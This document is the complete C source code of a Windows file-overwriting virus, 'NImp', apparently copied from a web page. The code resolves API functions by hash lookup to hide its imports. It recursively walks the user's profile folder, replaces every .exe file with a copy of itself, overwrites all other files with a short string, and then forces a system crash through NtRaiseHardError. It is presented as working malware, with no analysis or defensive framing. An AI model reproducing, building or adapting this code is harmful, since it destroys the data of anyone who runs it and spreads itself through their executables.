NImp Overwriting Virus - Source Code

#include <Windows.h>
#include "ntdll.h"

typedef enum _HARDERROR_RESPONSE_OPTION
{
    OptionAbortRetryIgnore,
    OptionOk,
    OptionOkCancel,
    OptionRetryCancel,
    OptionYesNo,
    OptionYesNoCancel,
    OptionShutdownSystem,
    OptionOkNoWait,
    OptionCancelTryContinue
}HARDERROR_RESPONSE_OPTION;

typedef enum _HARDERROR_RESPONSE
{
    ResponseReturnToCaller,
    ResponseNotHandled,
    ResponseAbort,
    ResponseCancel,
    ResponseIgnore,
    ResponseNo,
    ResponseOk,
    ResponseRetry,
    ResponseYes,
    ResponseTryAgain,
    ResponseContinue
}HARDERROR_RESPONSE;

typedef DWORD (WINAPI *pGetEnvironmentVariableA)(
    LPCSTR lpName,
    LPSTR lpBuffer,
    DWORD nSize
    );

typedef DWORD (WINAPI *pGetModuleFileNameA)(
    HMODULE hModule,
    LPSTR lpFilename,
    DWORD nSize
    );

typedef BOOL (WINAPI *pCopyFileA)(
    LPCSTR lpExistingFileName,
    LPCSTR lpNewFileName,
    BOOL bFailIfExists
    );

typedef HANDLE (WINAPI *pFindFirstFileA)(
    LPCSTR lpFileName,
    LPWIN32_FIND_DATAA lpFindFileData
    );

typedef BOOL (WINAPI *pFindNextFileA)(
    HANDLE hFindFile,
    LPWIN32_FIND_DATAA lpFindFileData
    );

typedef BOOL (WINAPI *pFindClose)(
    HANDLE hFindFile
    );

typedef HANDLE (WINAPI *pCreateFileA)(
    LPCSTR lpFileName,
    DWORD dwDesiredAccess,
    DWORD dwShareMode,
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    DWORD dwCreationDisposition,
    DWORD dwFlagsAndAttributes,
    HANDLE hTemplateFile
    );

typedef BOOL (WINAPI *pWriteFile)(
    HANDLE hFile,
    LPCVOID lpBuffer,
    DWORD nNumberOfBytesToWrite,
    LPDWORD lpNumberOfBytesWritten,
    LPOVERLAPPED lpOverlapped
    );

typedef void (WINAPI *pSleep)(DWORD Timeout);
typedef NTSTATUS (NTAPI *pNtClose)(HANDLE Handle);

typedef NTSTATUS (NTAPI *pNtRaiseHardError)(
    NTSTATUS ErrorStatus,
    ULONG NumberOfParameters,
    ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters,
    ULONG ValidResponseOptions,
    PULONG Response
);

typedef NTSTATUS (NTAPI *pRtlAdjustPrivilege)(ULONG Privilege,BOOLEAN Enable,BOOLEAN CurrentThread,PBOOLEAN OldValue);

typedef int (__cdecl *p_sprintf)(char* str,char* format,...);
typedef char* (__cdecl *p_strstr)(char* str,char* substr);

typedef struct _NIMP_FUNCTION_TABLE
{
    pGetEnvironmentVariableA fnGetEnvironmentVariableA;
    pGetModuleFileNameA fnGetModuleFileNameA;
    pCopyFileA fnCopyFileA;
    pFindFirstFileA fnFindFirstFileA;
    pFindNextFileA fnFindNextFileA;
    pFindClose fnFindClose;
    pCreateFileA fnCreateFileA;
    pWriteFile fnWriteFile;
    pSleep fnSleep;
    pNtRaiseHardError fnNtRaiseHardError;
    pRtlAdjustPrivilege fnRtlAdjustPrivilege;
    pNtClose fnNtClose;
    p_sprintf fn_sprintf;
    p_strstr fn_strstr;
}NIMP_FUNCTION_TABLE,*PNIMP_FUNCTION_TABLE;

NIMP_FUNCTION_TABLE NImpFunctionTable;
char NImpFileName[120];

ULONG WINAPI NImpComputeHash(LPSTR String)
{
    PUCHAR ptr=(PUCHAR)String;
    ULONG Hash=0;

    while(*ptr)
    {
        Hash=((Hash<<8)+Hash+*ptr)^(*ptr<<16);
        ptr++;
    }

    return Hash;
}

PVOID WINAPI NImpGetFunctionFromHash(PVOID Module,ULONG Hash)
{
    PIMAGE_DOS_HEADER pIDH;
    PIMAGE_NT_HEADERS pINH;
    PIMAGE_EXPORT_DIRECTORY pIED;

    PULONG Function,Name;
    PUSHORT Ordinal;

    ULONG i;

    pIDH=(PIMAGE_DOS_HEADER)Module;
    pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Module+pIDH->e_lfanew);

    pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)Module+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    Function=(PULONG)((PUCHAR)Module+pIED->AddressOfFunctions);
    Name=(PULONG)((PUCHAR)Module+pIED->AddressOfNames);

    Ordinal=(PUSHORT)((PUCHAR)Module+pIED->AddressOfNameOrdinals);

    for(i=0;i<pIED->NumberOfNames;i++)
    {
        if(NImpComputeHash((char*)Module+Name[i])==Hash)
        {
            return (PVOID)((PUCHAR)Module+Function[Ordinal[i]]);
        }
    }

    return NULL;
}

void WINAPI NImpZeroMemory(PVOID Buffer,ULONG Length)
{
    PUCHAR ptr=(PUCHAR)Buffer;
    ULONG i;

    for(i=0;i<Length;i++)
    {
        ptr[i]=0;
    }
}

void WINAPI NImpOverwriteFile(LPSTR FileName)
{
    HANDLE hFile;
    DWORD write;

    char str[]="NImp <span class="searchlite">virus</span> by zwclose7!";

    hFile=NImpFunctionTable.fnCreateFileA(FileName,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,0,NULL);

    if(hFile!=INVALID_HANDLE_VALUE)
    {
        NImpFunctionTable.fnWriteFile(hFile,str,sizeof(str),&write,NULL);
        NImpFunctionTable.fnNtClose(hFile);
    }
}

void WINAPI NImpInfectFiles(LPSTR Directory)
{
    HANDLE hFind;
    char SearchName[1024],FullPath[1024];

    WIN32_FIND_DATAA FindData;

    NImpZeroMemory(SearchName,sizeof(SearchName));
    NImpFunctionTable.fn_sprintf(SearchName,"%s\\*",Directory);

    hFind=NImpFunctionTable.fnFindFirstFileA(SearchName,&FindData);

    if(hFind!=INVALID_HANDLE_VALUE)
    {
        while(NImpFunctionTable.fnFindNextFileA(hFind,&FindData))
        {
            if(FindData.cFileName[0]=='.')
            {
                continue;
            }

            NImpZeroMemory(FullPath,sizeof(FullPath));
            NImpFunctionTable.fn_sprintf(FullPath,"%s\\%s",Directory,FindData.cFileName);

            if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                NImpInfectFiles(FullPath);
            }

            else
            {
                if(NImpFunctionTable.fn_strstr(FindData.cFileName,".exe"))
                {
                    NImpFunctionTable.fnCopyFileA(NImpFileName,FullPath,FALSE);
                }

                else
                {
                    NImpOverwriteFile(FullPath);
                }
            }

            NImpFunctionTable.fnSleep(10);
        }

        NImpFunctionTable.fnFindClose(hFind);
    }
}

void WINAPI NImpMain()
{
    PVOID Kernel32Base,NtdllBase;
    ULONG Response;

    PPEB Peb;
    PLDR_DATA_TABLE_ENTRY Ldr;

    BOOLEAN bl;
    char Path[120];

    Peb=NtCurrentPeb();

    NImpZeroMemory(Path,sizeof(Path));
    NImpZeroMemory(&NImpFunctionTable,sizeof(NIMP_FUNCTION_TABLE));
    NImpZeroMemory(NImpFileName,sizeof(NImpFileName));

    Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink);

    Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink);
    NtdllBase=Ldr->DllBase;

    Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink);
    Kernel32Base=Ldr->DllBase;

    NImpFunctionTable.fnGetEnvironmentVariableA=(pGetEnvironmentVariableA)NImpGetFunctionFromHash(Kernel32Base,0x3363dd1c);
    NImpFunctionTable.fnGetModuleFileNameA=(pGetModuleFileNameA)NImpGetFunctionFromHash(Kernel32Base,0x2d6f58c8);
    NImpFunctionTable.fnCopyFileA=(pCopyFileA)NImpGetFunctionFromHash(Kernel32Base,0x932fb15c);
    NImpFunctionTable.fnFindFirstFileA=(pFindFirstFileA)NImpGetFunctionFromHash(Kernel32Base,0xbe28834a);
    NImpFunctionTable.fnFindNextFileA=(pFindNextFileA)NImpGetFunctionFromHash(Kernel32Base,0x85776e1);
    NImpFunctionTable.fnFindClose=(pFindClose)NImpGetFunctionFromHash(Kernel32Base,0x7223b77);
    NImpFunctionTable.fnCreateFileA=(pCreateFileA)NImpGetFunctionFromHash(Kernel32Base,0xd83eb415);
    NImpFunctionTable.fnWriteFile=(pWriteFile)NImpGetFunctionFromHash(Kernel32Base,0xa5e7378b);
    NImpFunctionTable.fnSleep=(pSleep)NImpGetFunctionFromHash(Kernel32Base,0xf5d3c0f9);

    NImpFunctionTable.fnNtClose=(pNtClose)NImpGetFunctionFromHash(NtdllBase,0x5a4bbb8);
    NImpFunctionTable.fnNtRaiseHardError=(pNtRaiseHardError)NImpGetFunctionFromHash(NtdllBase,0x602b783f);

    NImpFunctionTable.fnRtlAdjustPrivilege=(pRtlAdjustPrivilege)NImpGetFunctionFromHash(NtdllBase,0xb411bb44);

    NImpFunctionTable.fn_sprintf=(p_sprintf)NImpGetFunctionFromHash(NtdllBase,0xc07d3806);
    NImpFunctionTable.fn_strstr=(p_strstr)NImpGetFunctionFromHash(NtdllBase,0x534bc1b2);

    NImpFunctionTable.fnGetEnvironmentVariableA("userprofile",Path,sizeof(Path));
    NImpFunctionTable.fnGetModuleFileNameA(NULL,NImpFileName,sizeof(NImpFileName));

    NImpInfectFiles(Path);

    NImpFunctionTable.fnRtlAdjustPrivilege(19,TRUE,FALSE,&bl);
    NImpFunctionTable.fnNtRaiseHardError(0xC000026A,0,0,NULL,OptionShutdownSystem,&Response);
}